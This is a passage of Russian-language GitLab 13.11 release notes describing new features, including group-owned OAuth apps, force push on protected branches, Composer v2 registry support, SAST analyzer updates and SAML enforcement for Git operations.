Владельцы групп теперь могут регистрировать приложения OAuth для группы. Ранее приложения OAuth можно было регистрировать только для отдельных пользователей или на уровне всего инстанса. Доступность этой функции на уровне группы снижает нагрузку на администраторов инстанса и устраняет зависимость от отдельных пользователей при настройке приложений OAuth.
Эта фича стала доступна в релизе 13.11 благодаря невероятному вкладу Jonas Wälter из Siemens!
→ [Документация по приложениям на уровне группы](https://docs.gitlab.com/ee/integration/oauth_provider.html#group-owned-applications) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/16227).
### Добавление списков итераций на доски задач
(SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Доски задач (в русской локализации GitLab «доски обсуждений») теперь поддерживают создание списков итераций. Чтобы эффективно упорядочить тикеты эпика (в русской локализации GitLab «цель») на предстоящих итерациях, теперь вы можете просто переместить тикеты из одной [итерации](https://docs.gitlab.com/ee/user/group/iterations/) в другую на доске или включить группировку эпиков по [«плавательным дорожкам»](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issues-in-swimlanes).
→ [Документация по спискам итераций](https://docs.gitlab.com/ee/user/project/issue_board.html#iteration-lists) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/250479).
### Активные интеграции теперь отображаются отдельно
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Сегодня в GitLab доступно более 30 интеграций, и на странице настроек становится непросто сразу понять, какие интеграции активны в данный момент.
Теперь активные интеграции отображаются в отдельной таблице вверху страницы, что позволяет увидеть, какие из них вы используете, и упростить поиск наиболее важных для вас интеграций.
→ [Документация по интеграциям GitLab](https://docs.gitlab.com/ee/user/project/integrations/overview.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/214885).
### Выборочное добавление коммитов из форков в родительскую ветку
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
В GitLab 13.11, если вы являетесь участником исходного проекта, вы сможете выборочно добавлять (cherry-pick) коммиты из проектов-форков в свой проект. Мы добавили новый раздел **Добавить в проект** (Pick into project) в диалоговое окно, которое отображается, когда вы выбираете **Настройки > Подобрать** (Options > Cherry-pick) на странице коммита.
Сообщество разработчиков сможет вносить свой вклад в ваш проект, и вашей команде больше не нужно будет вручную загружать файл `.patch` форка, чтобы получить нужные коммиты из устаревших или неподдерживаемых форков.
В будущем можно будет [добавлять коммиты из одного форка в другой](https://gitlab.com/gitlab-org/gitlab/-/issues/326771).
→ [Документация по выборочному добавлению коммитов в проекты](https://docs.gitlab.com/ee/user/project/merge_requests/cherry_pick_changes.html#cherry-pick-into-a-project) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/21268).
### Опция force push для защищённых веток
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Рекомендуется избегать `force push` для репозиториев Git, но в исключительных случаях без него не обойтись. Временное снятие защиты ветки для проведения `force push` может быть не идеальным решением, поскольку для этого требуются права доступа уровня мейнтейнера, и это приводит к сбросу настроек защиты ветки.
GitLab 13.11 представляет новую настройку **Разрешить force push** для защищённых веток, которая позволяет пользователям из списка «допущенные пушить» (Allowed to push) использовать `force push`.
→ [Документация по разрешению force push для защищённых веток](https://docs.gitlab.com/ee/user/project/protected_branches.html#allow-force-push-on-protected-branches) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/15611).
### Поиск на странице настроек
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Найти точное местоположение настройки GitLab может быть непросто. Даже если вы в целом знаете, где искать, многие интерфейсы настроек состоят из нескольких разделов и десятков индивидуальных параметров конфигурации.
С этого релиза вы сможете использовать поле поиска в настройках группы, проекта, администратора и пользователя, чтобы быстро найти желаемые настройки. Ваши критерии поиска будут фильтровать текущую страницу, чтобы отображать только релевантные настройки и даже выделять вхождения вашего поискового запроса на странице.
В будущих итерациях мы планируем расширить эту возможность до [поиска по всем разделам настроек](https://gitlab.com/groups/gitlab-org/-/epics/5198).
→ [Документация по настройкам поиска](https://docs.gitlab.com/ee/user/search/#search-settings) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/4842).
### Вид приветствия для GitLab Workflow в VS Code
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Чтобы начать работу с расширением GitLab Workflow для Visual Studio Code (VS Code), необходимо выполнить несколько ручных шагов для подключения его к GitLab. Если расширение настроено неправильно, или вы настраиваете его впервые, может быть непросто убедиться, что вы настроили его правильно.
На панели GitLab Workflow внутри VS Code теперь отображаются конкретные шаги, которые помогут вам начать работу. Эта панель также сообщит вам, если ваше текущее рабочее пространство не содержит проекта GitLab.
→ [Документация по расширению для VS Code](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/main/README.md#setup) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/281).
### Создание файла начальной конфигурации из редактора конвейеров
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Редактор конвейеров — это универсальный инструмент для создания и тестирования конвейера CI/CD. Раньше редактор работал только в том случае, если файл конфигурации `.gitlab-ci.yml` уже существовал в корне вашего репозитория. В этом релизе мы добавили возможность создавать начальный пустой файл конвейера на самой странице редактора конвейеров, чтобы вы могли сразу приступить к созданию своего конвейера.
→ [Документация по редактору конвейеров](https://docs.gitlab.com/ee/ci/pipeline_editor/index.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/300059).
### Предопределённая переменная CI/CD для автора коммита
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Раньше, если вам нужно было идентифицировать автора коммита в запущенном задании CI/CD, вам приходилось добавлять к заданию дополнительный вызов API для его получения. Теперь эта информация легко доступна как предопределённая переменная CI/CD `CI_COMMIT_AUTHOR`.
Спасибо [Craig Andrews](https://gitlab.com/candrews) за эту фичу!
→ [Документация по предопределённым переменным CI/CD](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/284079).
### Публикация и установка общих пакетов с SemVer
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
Реестр пакетов GitLab используется для публикации и совместного использования общих файлов пакетов. Вы можете делать это с помощью командной строки, но вполне вероятно, что вы используете GitLab CI/CD для публикации большинства своих файлов.
До GitLab 13.11 проверка имени файла GitLab не позволяла вам загрузить пакет с семантической версией (SemVer). Это не позволяло многим из вас использовать реестр пакетов в своих конвейерах, поскольку SemVer довольно часто используется для маркировки файлов как относящихся к данному релизу или ветке.
В релизе GitLab 13.11 мы ослабляем проверку имён файлов, поэтому теперь вы можете использовать SemVer для именования файлов. Мы надеемся, что это поможет вам внедрить реестр пакетов и упростит именование и проверку ваших общих пакетов.
→ [Документация по публикации файла пакетов](https://docs.gitlab.com/ee/user/packages/generic_packages/#publish-a-package-file) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/273034).
### Используйте Composer v2 с реестром пакетов GitLab
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
[Composer](https://getcomposer.org/) используется для публикации, совместного использования и загрузки ваших PHP-зависимостей в проект GitLab. Шесть месяцев назад была выпущена новая мажорная версия Composer (v2) с множеством изменений, включая значительные улучшения производительности, обновления архитектуры и runtime-фичи. Подробнее об изменениях вы можете прочесть [здесь](https://blog.packagist.com/composer-2-0-is-now-available/).
До недавнего времени вы не могли воспользоваться этими улучшениями, потому что реестр GitLab не поддерживал Composer v2. Возможно, из-за этого некоторые из вас могли вовсе не использовать реестр GitLab. В качестве MVC мы сосредоточились на добавлении поддержки обязательного параметра `metadata-URL`. Мы добавили новую конечную точку `GET group/:id/-/packages/composer/p2/:package_name`, которая возвращает метаданные для всех пакетов в вашем репозитории. Когда Composer ищет пакет, он заменяет `%package_name%` на имя этого пакета и загружает данные, используя полученный URL.
У нас есть тикеты, открытые для добавления поддержки необязательных параметров [`providers-api`](https://gitlab.com/gitlab-org/gitlab/-/issues/324706) и [`list-api`](https://gitlab.com/gitlab-org/gitlab/-/issues/324707). Мы надеемся уделить этому внимание в ближайших релизах.
→ [Документация по метаданным пакетов в Composer v2](https://docs.gitlab.com/ee/api/packages/composer.html#v2-package-metadata) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/259840).
### Загрузка зависимостей Composer из системы контроля версий
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
У вас есть два варианта загрузки зависимостей с Composer: `source` и `dist`. Для стабильных версий Composer по умолчанию использует `dist` и загружает зависимость в виде `zip`-файла. Однако вы также можете загрузить его напрямую из системы контроля версий. Если включён параметр `--prefer-source`, Composer загружает вашу зависимость клонированием из Git, а не как упакованный файл `zip`. Это удобно, если вы хотите исправить ошибку в проекте и напрямую получить локальную Git-копию для этой зависимости.
До сих пор при загрузке зависимостей Composer вы не могли использовать команды и конфигурации `prefer-source` и `preferred-install`. Из-за этого многие из вас не использовали реестр пакетов GitLab для своих зависимостей Composer.
Мы рады сообщить, что теперь вы сможете загружать свои зависимости Composer в виде исходного кода. Чтобы сделать это, просто добавьте опцию `prefer-source` к вашей команде установки, например: `composer update --prefer-source`.
→ [Документация по установке пакетов с Composer](https://docs.gitlab.com/ee/user/packages/composer_repository/#install-a-composer-package) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/247531).
### Поддержка OpenShift для SAST и обнаружения секретных ключей
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Начиная с 13.3 в GitLab есть [поддерживаемые обработчики заданий для Red Hat OpenShift](https://docs.gitlab.com/runner/install/openshift.html). До сих пор сканирование безопасности GitLab не поддерживало этот вариант развёртывания. Начиная с 13.11 анализатор безопасности GitLab SAST и обнаружение секретных ключей могут работать и в рамках развёртывания OpenShift. Если вы переопределили или предоставили собственный файл `.gitlab-ci.yml` с фиксированными версиями анализаторов SAST или обнаружения секретов, обновите его до [последних доступных версий](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml). Обратите внимание, что [экспериментальные анализаторы](https://docs.gitlab.com/ee/user/application_security/sast/#experimental-features) в настоящее время не поддерживают окружения OpenShift. По мере того, как эти анализаторы будут выводиться из экспериментального статуса, [эта поддержка будет добавляться](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html#sast-analyzer-features).
→ [Документация по фичам анализаторов SAST](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html#sast-analyzer-features) и [оригинальный эпик](https://gitlab.com/gitlab-org/gitlab/-/issues/323118).
### Поддержка общего сканирования Kotlin в SAST
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Начиная с 13.5 [SAST в GitLab](https://docs.gitlab.com/ee/user/application_security/sast) [поддерживает сканирование мобильных проектов](https://habr.com/ru/post/527208/#podderzhka-sast-dlya-mobilnyh-prilozheniy-pod-ios-i-android), включая приложения для Android, написанные на Kotlin. Однако сканирование Kotlin было сосредоточено только на угрозах безопасности мобильных приложений. В GitLab 13.11 благодаря вкладу [участника команды GitLab Core](https://about.gitlab.com/community/core-team/) [Hannes Rosenögger (@haynes)](https://gitlab.com/haynes), наш существующий Java-анализатор Spotbugs теперь поддерживает сканирование общих проектов и файлов Kotlin. Поскольку [Kotlin](https://kotlinlang.org/) набирает популярность и постепенно заменяет Java в более современных проектах, GitLab SAST продолжает помогать разработчикам в написании безопасного кода.
→ [Документация по поддерживаемым языкам и фреймворкам в GitLab SAST](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) и [оригинальный эпик](https://gitlab.com/gitlab-org/gitlab/-/issues/36783).
### Экспериментальные анализаторы Semgrep для Python, JavaScript и TypeScript
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
В рамках [нашего партнёрства с Semgrep в обновлении GitLab SAST](#gitlab--semgrep-obnovlyaem-sast-i-zakladyvaem-osnovu-na-buduschee) мы ищем бета-тестеров, чтобы попробовать наши новые анализаторы Semgrep для Python, JavaScript и TypeScript. Эти экспериментальные анализаторы работают вместе с нашими существующими анализаторами Python, JavaScript и TypeScript, так что вы можете сравнивать уязвимости, обнаруженные разными анализаторами.
* Наш новый [анализатор Semgrep для Python](https://gitlab.com/groups/gitlab-org/-/epics/5688) в конечном итоге заменит Bandit, наш текущий анализатор для Python. В рамках этого перехода наша команда провела оценку покрытия правилами для обоих инструментов, чтобы гарантировать, что мы сохраним нужный уровень покрытия.
* Наш новый [анализатор Semgrep для JavaScript и TypeScript](https://gitlab.com/groups/gitlab-org/-/epics/5440) в конечном итоге заменит наш текущий анализатор ESLint. В настоящее время нам известно о пробеле в покрытии ESLint, над исправлением которого мы работаем вместе с командой Semgrep.
Чтобы запустить любой из этих анализаторов, вам необходимо включить переключаемую фичу, [использование экспериментальных анализаторов SAST](https://docs.gitlab.com/ee/user/application_security/sast/#experimental-features) в файле 'gitlab-ci.yml ', что позволит новым анализаторам Semgrep работать вместе с уже существующими анализаторами SAST. Обратите внимание, что мы ещё не завершили работу над повторным сопоставлением результатов обнаружения уязвимостей между анализаторами, поэтому вы можете увидеть дублирующиеся результаты в своём отчёте о безопасности. До перехода к новым анализаторам мы решим эту проблему. Мы будем рады любому фидбэку и предложениям по этим анализаторам в соответствующих тикетах по ссылкам выше.
→ [Документация по поддерживаемым языкам и фреймворкам в GitLab SAST](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/5245).
### Обновления анализаторов SAST
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
SAST (Статическое тестирование безопасности приложений) в GitLab включает в себя [множество анализаторов безопасности](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks), которые команда статического анализа GitLab активно поддерживает и обновляет. Ниже представлены обновления анализаторов, выпущенные в релизе 13.11. Эти обновления включают расширенное покрытие, исправления ошибок и другие улучшения.
* ESLint обновлён до версии 7.23.0: [мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/eslint/-/merge_requests/75), [список изменений](https://gitlab.com/gitlab-org/security-products/analyzers/eslint/-/blob/60510f6ad257ad5b73f1e002f14203e0551dbc99/CHANGELOG.md).
* MobSF обновлён до версии 3.4.0: [мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/-/merge_requests/21), [список изменений](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/-/blob/eed805ae68e059f51e467773100458d863496779/CHANGELOG.md#v280).
* njsscan обновлён до версии 0.2.3: [мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan/-/merge_requests/96/), [список изменений](https://gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan/-/blob/16e0371a78fcfdd9846d56b6d0496189826fa412/CHANGELOG.md#v2170). Обратите внимание на эти изменения: максимальный размер файла njsscan уменьшен с 25 МБ до 5 МБ; появились новые правила Sequelize.
* gitleaks обновлён до версии 0.2.3: [мерж-реквест](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/merge_requests/109), [список изменений](https://github.com/zricethezav/gitleaks/releases/tag/v7.4.0). Обратите внимание на эти изменения: новые правила поиска секретных ключей PyPI и GitHub.
Если вы используете [поставляемый GitLab шаблон SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-manually) ([SAST.gitlab-ci.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml)), вам не нужно ничего делать, чтобы получить эти обновления. Однако, если вы переопределяете его или используете свой собственный шаблон CI, вам потребуется обновить конфигурации CI.
→ [Документация по анализаторам SAST](https://docs.gitlab.com/ee/user/application_security/sast/analyzers) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/327663).
### [Приносите свой собственный](https://en.wikipedia.org/wiki/Bring_your_own_device) Prometheus, чтобы интеграция GitLab — Kubernetes стала лучше
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Configure](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Интегрируя свои кластерные сервисы с GitLab, вы можете воспользоваться различными фичами GitLab, такими как [доски окружений](https://docs.gitlab.com/ee/user/project/deploy_boards.html), [метрики Prometheus](https://docs.gitlab.com/ee/operations/metrics/) и [логи приложений](https://docs.gitlab.com/ee/user/project/clusters/kubernetes_pod_logs.html). Раньше эти функции требовали от вас использования приложений, управляемых GitLab, что не соответствовало рабочему процессу и требованиям многих наших пользователей.
С этом релизом вы можете интегрироваться с Prometheus и Kubernetes через сервисы GitLab и поддерживать их обслуживание на своей стороне, следуя процессам и правилам вашей компании. Для новичков мы предоставляем обширную документацию и рекомендации по установке этих приложений. Вы по-прежнему можете поддерживать глубокую интеграцию метрик, доступную в GitLab, как это работало с Prometheus, управляемым GitLab.
→ [Документация по интеграции с Prometheus](https://docs.gitlab.com/ee/user/clusters/integrations.html#prometheus-cluster-integration) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/292460).
### Geo проверяет реплицированные версионированные сниппеты
(self-managed: PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement)
Geo теперь автоматически проверяет целостность данных реплицированных [версионированных сниппетов](https://docs.gitlab.com/ee/user/snippets.html#versioned-snippets). Это гарантирует, что сниппеты не будут повреждены при передаче или хранении. Если Geo используется как часть стратегии аварийного восстановления, это защитит клиентов от потери данных.
В следующей итерации мы добавим [автоматическое исправление](https://gitlab.com/gitlab-org/gitlab/-/issues/301244) для тех случаев, когда проверка обнаруживает несоответствие.
[Возможности верификации Geo](https://docs.gitlab.com/ee/development/geo/framework.html#verification) реализуются в целом во фреймворке репликации Geo, и мы планируем добавить верификацию файлов для [всех остальных типов реплицированных данных](https://gitlab.com/groups/gitlab-org/-/epics/5286).
→ [Документация по репликации Geo](https://docs.gitlab.com/ee/administration/geo/replication/datatypes.html#data-types) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/2810).
### Метрики внедрения DevOps теперь доступны и для групп
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Таблица внедрения DevOps позволяют руководству увидеть, какие этапы и фичи GitLab DevOps были внедрены их командами. До сих пор доступ к ней можно было получить только через панель администратора, что ограничивало доступ к этой информации только администраторами инстанса. Это обновление выводит показатели внедрения DevOps на групповой уровень, позволяя большему количеству пользователей понять, как и где они внедряют фичи DevOps в GitLab.
→ [Документация по внедрению DevOps](https://docs.gitlab.com/ee/user/group/devops_adoption/index.html) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/5252).
### Обязательное использование SAML для действий Git в группе
(SaaS: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Мейнтейнеры группы GitLab теперь могут повысить безопасность своей группы, включив принудительное использование SAML для действий Git. Организации, уделяющие много внимания безопасности, хотят, чтобы все действия в GitLab были защищены и управлялись их поставщиком удостоверений SAML. Ранее обязательное использование системы единого входа SAML применялось только к действиям в пользовательском интерфейсе GitLab. Операции Git CLI не требовали активной сессии SSO SAML. Теперь же, когда обязательное использование Git Group SAML SSO включено, пользователи должны будут иметь активную веб-сессию SAML для выполнения операций Git в интерфейсе командной строки.
→ [Документация по групповому принудительному применению SAML](https://docs.gitlab.com/ee/user/group/saml_sso/#sso-enforcement) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/9152).
### Уведомление по электронной почте об истечении срока действия ключа SSH
(self-managed: ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Для ключей SSH, которые вы добавляете в [Реестр учётных данных](https://docs.gitlab.com/ee/user/admin_area/credentials_inventory.html), можно указать дату истечения срока действия, чтобы обеспечить правильную ротацию ключей и ограничить текущий доступ к вашему инстансу.
По умолчанию GitLab теперь будет ежедневно проверять, приближаются ли какие-либо даты истечения срока действия. Уведомление по электронной почте будет отправлено за неделю до и за день до истечения срока действия ключа, чтобы вы могли предпринять любые необходимые действия для обновления ключа или любых систем, которые на него полагаются.
→ [Документация по добавлению ключей SSH в аккаунт GitLab](https://docs.gitlab.com/ee/ssh/README.html#add-an-ssh-key-to-your-gitlab-account) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/322637).
### Фильтрация требований по статусу
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Теперь вы можете отфильтровать свой список требований по статусу, чтобы узнать, какие области продукта нуждаются в дополнительном тестировании или являются неполными. Вы и ваша команда легко сможете увидеть, сколько и какой работы осталось!
Поскольку требования могут быть удовлетворены с помощью заданий конвейера CI/CD, статус требования всегда актуален.
→ [Документация по фильтрации требований](https://docs.gitlab.com/ee/user/project/requirements/#search-for-a-requirement) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/224614).
### Добавление отдельных комментариев при ревью мерж-реквестов
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Когда вы ревьюите изменения, вы можете захотеть обобщить свой отзыв или прокомментировать что-то, не связанное с конкретными изменениями. [Ревью](https://docs.gitlab.com/ee/user/discussions/#merge-request-reviews) в GitLab ранее разрешали только комментировать изменения или отвечать на существующие комментарии, что означало, что другие виды комментариев можно было добавить только после отправки ревью.
В рамках процесса ревью теперь вы можете отправить общий комментарий вместе с вашими ответами или комментариями по конкретным изменениям. Общие комментарии упрощают предоставление обратной связи автору и использование [быстрых действий](https://docs.gitlab.com/ee/user/project/quick_actions.html) в мерж-реквесте.
Спасибо [Lee Tickett](https://gitlab.com/leetickett) за эту фичу!
→ [Документация по добавлению комментариев](https://docs.gitlab.com/ee/user/discussions/#adding-a-new-comment) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/8225).
### Прямая ссылка на строки кода
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Совместная работа над длинными файлами упрощается, если вы можете поделиться ссылкой на определённую строку кода. Раньше вы могли ссылаться только на номер строки при просмотре файла в репозитории, но теперь вы также можете ссылаться на определённые строки кода в контексте редактирования файла.
Чтобы получить ссылку на конкретную строку, нажмите на иконку рядом с номером строки слева от кода или добавьте `#L` и номер строки к URL редактирования. Ссылка откроет редактор, прокрутит до выбранной строки и выделит её. Создание таких ссылок уже работает в редакторе файла, в Web IDE и в редакторе конвейеров!
Вы также можете создать ссылку на несколько строк, добавив к URL целый диапазон, например `#L87-98`, даже если пользовательский интерфейс (пока) не поддерживает создание таких ссылок.
→ [Документация по созданию ссылок на конкретные строки файла](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#highlight-lines) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/21762).
### Улучшения в конфигурации приложения Jira Connect
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
При настройке приложения [GitLab.com для Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) теперь вы сможете фильтровать доступные пространства имён при привязке их к вашей учётной записи, что упростит настройку для пользователей, которые имеют доступ к большому количеству пространств имён.
→ [Документация по интеграции с Jira Connect](https://docs.gitlab.com/ee/integration/jira/connect-app.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/324263).
### Задавайте целевой проект по умолчанию для мерж-реквестов в форках
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
После создания форка проекта может быть удобно использовать мерж-реквесты для внесения вклада в исходный проект. Раньше GitLab по умолчанию предполагал, что мерж-реквесты из форк-проекта всегда будут нацелены на исходный проект. Это может привести к ошибкам в случаях, когда этот код не следует добавлять в исходный проект, или когда пользователям необходимо внести изменения перед открытием мерж-реквеста.
Теперь GitLab поддерживает настройку целевого проекта по умолчанию для мерж-реквестов, которые создаются в форк-проектах. Это оптимизирует процесс внесения вклада и помогает избежать ошибок для пользователей и команд, которые чаще вносят свой вклад в форк-проекты, а не в исходный проект.
→ [Документация по настройке целевой ветки мерж-реквеста по умолчанию](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html#set-the-default-target-project) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/14522).
### Сортировка нарушений качества кода по степени серьёзности
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
При выполнении сканирования качества кода в ваших проектах может быть обнаружено от десятков до тысяч нарушений. В небольшом виде виджета мерж-реквеста может быть сложно определить наиболее важные проблемы, которые нужно решить в первую очередь, если вам приходится разбираться с большим количеством нарушений качества кода.
И виджет качества кода мерж-реквеста, и полный отчёт о качестве кода теперь сортируют нарушения по степени серьёзности, чтобы вы могли быстро определить наиболее важные нарушения качества кода, которые необходимо устранить как можно скорее.
→ [Документация по сканированию качества кода](https://docs.gitlab.com/ee/user/project/merge_requests/code_quality.html#code-quality-widget) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/301121).
### Возможность делиться отфильтрованными страницами реестров пакетов и контейнеров
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
Реестры пакетов и контейнеров GitLab используются для публикации и совместного использования зависимостей вашего проекта. Когда вы просматриваете свой реестр в GitLab, вы можете фильтровать и сортировать результаты, чтобы найти и проверить элемент, который вы ищете.
До GitLab 13.11 у вас не было возможности поделиться с коллегами страницей реестра, отфильтрованной по поисковому запросу. В результате каждому члену команды приходилось тратить время на фильтрацию этих страниц. Это было неэффективно и создавало риск того, что кто-нибудь установит неправильную зависимость.
С GitLab 13.11 вы сможете делиться своими отфильтрованными страницами реестров, просто скопировав URL-адрес из браузера и поделившись им со своей командой. Мы надеемся, что это изменение повысит вашу эффективность.
→ [Документация по реестру пакетов](https://docs.gitlab.com/ee/user/packages/package_registry/#view-packages) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/324864).
### Меняйте период приостановки развёртывания через пользовательский интерфейс
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
В GitLab 13.2 мы добавили возможность [приостанавливать развёртывания](https://docs.gitlab.com/ee/user/project/releases/index.html#prevent-unintentional-releases-by-setting-a-deploy-freeze) через настройки CI/CD проекта. Период приостановки развёртывания помогает командам избежать непреднамеренного развёртывания, уменьшить неопределённость и снизить риски при развёртывании. Однако ранее было невозможно изменять этот период; в GitLab 13.11 мы добавляем такую возможность. Таким образом, вы можете редактировать существующий период приостановки развёртывания в соответствии с потребностями вашего бизнеса.
→ [Документация по приостановке развёртывания](https://docs.gitlab.com/ee/user/project/releases/#prevent-unintentional-releases-by-setting-a-deploy-freeze) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/212449).
### Поддержка артефактов конвейера в Geo
(self-managed: PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement)
